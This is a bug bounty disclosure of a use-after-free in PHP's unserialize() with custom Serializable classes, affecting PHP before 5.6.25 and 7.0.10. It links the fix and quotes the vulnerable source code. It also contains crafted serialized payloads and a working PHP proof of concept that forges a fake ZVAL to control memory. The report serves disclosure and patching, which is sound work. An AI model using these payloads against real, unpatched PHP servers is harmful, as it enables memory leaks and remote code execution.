Internet Bug Bounty · Report #159948
Use After Free Vulnerability in unserialize()
Summary
A use-after-free vulnerability was discovered in PHP's unserialize() with customized serializing class that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
How it was found
bug report at: https://bugs.php.net/bug.php?id=70436 fix commit at: https://github.com/php/php-src/commit/95d09e4b5e6b84f8340efe03e8e2f9c1380228db
#Use After Free Vulnerability in unserialize()
Taoguang Chen <@chtg57> - Write Date: 2015.9.6 - Release Date: 2016.8.18
A use-after-free vulnerability was discovered in unserialize() with customized serializing class that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
Affected Versions
Affected is PHP 5 < 5.6.25 Affected is PHP 7 < 7.0.10
Credits
This vulnerability was disclosed by Taoguang Chen.
Description
static inline int object_custom(UNSERIALIZE_PARAMETER, zend_class_entry *ce)
{
...
} else if (ce->unserialize(rval, ce, (const unsigned char*)*p, datalen, (zend_unserialize_data *)var_hash TSRMLS_CC) != SUCCESS) {
return 0;
}
PHP provides an interface for customized serializing, the basic usage given in the PHP manual such as the following code:
<?php
class obj implements Serializable {
var $data;
function serialize() {
return serialize($this->data);
}
function unserialize($data) {
$this->data = unserialize($data);
}
}
?>
But using the interface may cause some security issues.
PHP_FUNCTION(unserialize)
{
...
if (!php_var_unserialize(&return_value, &p, p + buf_len, &var_hash TSRMLS_CC)) {
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
zval_dtor(return_value);
if (!EG(exception)) {
php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len);
}
RETURN_FALSE;
}
If the php_var_unserialize() call fails, the ZVAL return_value will be freed via zval_dtor(), then the ZVAL will be setted into a boolean-type ZVAL that value as FALSE, and the ZVAL will be still stored in an customized serializing object as its properties, such as the following code:
<?php
unserialize('C:3:"obj":4:{ryat}');
?>
Again, the object can be freed and setted as FALSE when next php_var_unserialize() call fails in during customized serializing. This means that the object and its properties will be destroyed. This also means that in the previous php_var_unserialize() call fails of the ZVAL will be freed. However during deserialization will still allow to use R: or r: to set references to that already freed memory, such as the following code:
<?php
unserialize('a:2:{i:0;C:3:"obj":17:{C:3:"obj":3:{ryat}i:1;R:4;}');
?>
This will result in use-after-free and execute arbitrary code remotely.
Proof of Concept Exploit
The PoC works on standard macOS installation of PHP 5 series.
<?php
class obj implements Serializable {
var $data;
function serialize() {
return serialize($this->data);
}
function unserialize($data) {
$this->data = unserialize($data);
}
}
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
$inner = 'C:3:"obj":3:{ryat';
$exploit = 'a:4:{i:0;i:1;i:1;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:2;s:'.strlen($fakezval).':"'.$fakezval.'";i:3;R:5;}';
$data = unserialize($exploit);
var_dump($data[3]);
function ptr2str($ptr)
{
$out = '';
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
?>
Test the PoC on the command line:
$ php uafpoc.php
int(1122334455) <=== Created integer-type fake ZVAL
So an attacker can control the memory and create fake ZVAL, and an array-type or object-type fake ZVAL will result in code execution easily, it has been demonstrated many times before.